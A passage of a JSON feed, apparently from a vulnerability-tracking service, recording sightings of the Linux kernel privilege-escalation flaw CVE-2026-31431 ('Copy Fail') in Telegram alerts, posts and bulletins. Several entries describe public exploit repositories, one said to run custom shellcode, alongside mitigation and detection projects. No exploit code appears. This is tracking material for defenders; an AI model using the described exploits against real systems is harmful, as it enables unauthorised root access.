simple reason: It turns a normal user into root\u2026 in seconds. No exploit chain.No race condition.No memory leak. Just a few syscalls. This is CVE-2026-31431, also known as \u201cCopy\u2026", "creation_timestamp": "2026-04-30T23:54:25.535280Z"}, {"uuid": "8c912d97-3cd0-43e3-b550-21c122e57bf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/habr_com_news/46127", "content": "\u0420\u0430\u0441\u043a\u0440\u044b\u0442\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e LPE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0437 10 \u0441\u0442\u0440\u043e\u043a \u043a\u043e\u0434\u0430 \u043d\u0430 Python \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c Copy Fail (CVE-2026-31431), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u043d\u0430 \u0431\u0430\u0437\u0435 Linux. \u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043e\u0434\u0438\u043d \u043a\u043b\u0438\u043a \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0443\u0440\u043e\u0432\u043d\u044f root \u0431\u0435\u0437 race condition, \u0431\u0435\u0437 \u043f\u043e\u0434\u0431\u043e\u0440\u0430 \u043e\u0444\u0444\u0441\u0435\u0442\u043e\u0432 \u0438 \u0431\u0435\u0437 \u0441\u043b\u043e\u0436\u043d\u043e\u0439 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0438.\n\n#\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c #\u041e\u0421", "creation_timestamp": "2026-04-30T07:43:23.000000Z"}, {"uuid": "519ed396-1422-4e34-ad34-15948430dd59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3143", "type": "seen", "source": "https://t.me/GithubRedTeam/82241", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431---Copy-Fail-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a maniakh\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 22:54:29\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nBu depo, Linux cekirdeginde (kernel) bulunan CVE-2026-3143 (Copy Fail) zafiyetinin egitim amacli analizini icermektedir. Zafiyet, algif_aead mod\u00fcl\u00fcndeki bir optimizasyon hatasini kullanarak sayfa onbellegindeki (page cache) salt-okunur dosyalari manipule etmeye olanak tanir.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T23:00:04.000000Z"}, {"uuid": "9a63a073-e358-401c-a55a-a7103a60435f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82241", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431---Copy-Fail-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a maniakh\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 22:54:29\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nBu depo, Linux cekirdeginde (kernel) bulunan CVE-2026-3143 (Copy Fail) zafiyetinin egitim amacli analizini icermektedir. Zafiyet, algif_aead mod\u00fcl\u00fcndeki bir optimizasyon hatasini kullanarak sayfa onbellegindeki (page cache) salt-okunur dosyalari manipule etmeye olanak tanir.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T23:00:04.000000Z"}, {"uuid": "99094a8d-47fa-45f9-9b91-4e60cb03e1b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82224", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a SeanRickerd\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 16:59:22\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nExploit for cve-2026-31431\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T17:00:05.000000Z"}, {"uuid": "978f06b0-bba7-44c0-ae55-7540941770d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82231", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copy-fail-cve-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a pcdoyle\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Go\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 18:50:50\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T19:00:04.000000Z"}, {"uuid": "92ae75d5-4c73-4211-a74c-ceac585ff0f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82233", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-31431-mitigation\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a amdisrar\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 19:59:40\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nTemporary mitigation for Linux kernel local privilege escalation CVE-2026-31431 (AF_ALG interface)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T20:00:04.000000Z"}, {"uuid": "95fa610d-e027-4562-bd7f-f6097882ae36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82207", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Paranoid-Copy-Fail\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a scriptzteam\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 14:58:59\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nParanoid disable whole AF_ALG + algif_* modules - Copy Fail (CVE-2026-31431)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T15:00:05.000000Z"}, {"uuid": "470af6fd-ed98-4154-b77c-fae463d94da2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31467", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:34:42.639208Z"}, {"uuid": "8a8e2c84-1fae-4b94-b80e-ae3376b4d12a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31469", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:35:20.359045Z"}, {"uuid": "5cbee8a0-43bd-4f92-954a-c8951829dae5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31483", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:36:01.067072Z"}, {"uuid": "ab9662a6-a229-438d-88b4-f510dd9ed0e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82237", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #POC #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-Copy-Fail---Vulnerability-Detection-Script\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a liamromanis101\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 20:59:11\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nDetection Only.. working on an exploit PoC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T21:00:33.000000Z"}, {"uuid": "4838bc73-1508-401b-9a27-db6c6740e885", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82195", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-mitigation-rhel\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a jmac774\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 11:57:48\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T12:00:04.000000Z"}, {"uuid": "4749a640-6551-40df-91e3-a50caf1f9bdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82199", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a JuanBindez\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 12:59:22\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCopy Fail - CVE-2026-31431\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T13:00:04.000000Z"}, {"uuid": "20f60a5e-ec29-439b-a18e-74ba28fbd984", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82201", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copy-fail-go\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a cs8425\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 13:58:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCopy Fail - CVE-2026-31431 in golang\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T14:00:04.000000Z"}, {"uuid": "eb0be100-af9e-4a70-8bed-638e5fad3dc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82221", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copyfail\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a rfxn\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 15:44:09\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nDefense-in-depth primitives for CVE-2026-31431 (Copy Fail) \u2014 kernel detection probe and LD_PRELOAD AF_ALG block\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T16:00:05.000000Z"}, {"uuid": "54e0de2e-7f1f-467a-a2ff-e336d25741e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82153", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ryan2929\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 06:56:44\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T07:00:04.000000Z"}, {"uuid": "9f9db697-b199-48dd-bce3-821f4a161d2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82156", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-Linux-Copy-Fail\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a iss4cf0ng\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Rust\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 07:59:45\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nRust implementation Exploit/PoC of CVE-2026-31431-Linux-Copy-Fail, allow executing customized shellcode (such as Meterpreter).\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T08:00:04.000000Z"}, {"uuid": "5433b966-83c1-4aa9-991e-ad1d25170d19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82177", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-exploit_py2_py3\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a jiangban046-spec\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 09:59:44\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u4e00\u4e2a\u517c\u5bb9python2\u548cpython3\u7684CVE-2026-31431\u811a\u672c\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T10:00:05.000000Z"}, {"uuid": "514dbcc9-b59d-4f98-b711-960e365c259f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82192", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-CopyFail-Universal-LPE\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a shadowabi\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 10:54:43\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T11:00:05.000000Z"}, {"uuid": "c401c01b-e020-4846-b18b-a77ee40df0cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82105", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copyfail-go\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a badsectorlabs\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Go\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-29 22:53:46\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nA Go implementation of copyfail (CVE-2026-31431)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-29T23:00:04.000000Z"}, {"uuid": "c17c6369-45bc-4f4d-8704-f62e569d0c80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82122", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copy-fail-c\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a tgies\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 2  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 1\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 00:58:23\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCross-platform C port of the Copy Fail Linux LPE (CVE-2026-31431). Disclosed 2026-04-29 by Theori / Xint.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T01:00:04.000000Z"}, {"uuid": "1c45c48e-e078-415d-9425-bb55e7135c59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82145", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-31431-detection\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a thrandomv\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 04:56:46\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nDefensive detection package for CVE-2026-31431 (Linux kernel AF_ALG LPE). Sigma, Falco, auditd, KQL, and EQL rules mapped to MITRE ATT&CK T1068/T1611. Includes detection logic designed for auditd, eBPF, and EDR telemetry pipelines.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T05:00:04.000000Z"}, {"uuid": "9a0db283-3a10-47ac-a02e-bcadb26c41a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82150", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copy-fail-CVE-2026-31431-C\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a bigwario\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-30 05:59:28\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-30T06:00:04.000000Z"}, {"uuid": "0ab5c407-e4a6-40ae-94ea-56e48dbf82a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Earl.mast.john1126.com.ap.brid.gy/post/3mkqu6zohemi2", "content": "For testing the Linux vulnerability (recently disclosed as \"Copy Fail CVE-2026-31431\"), I booted my notebook computer up with a live DVD, so the exploit I am testing should not get saved to the machine.\n\nWill Linux Mint 21.2 succumb to the exploit?\n\nMy [\u2026] \n\n[Original post on mast.john1126.com]", "creation_timestamp": "2026-05-01T00:26:01.042822Z"}, {"uuid": "4e6e8108-94bd-4c88-bb34-e0775a58672c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", 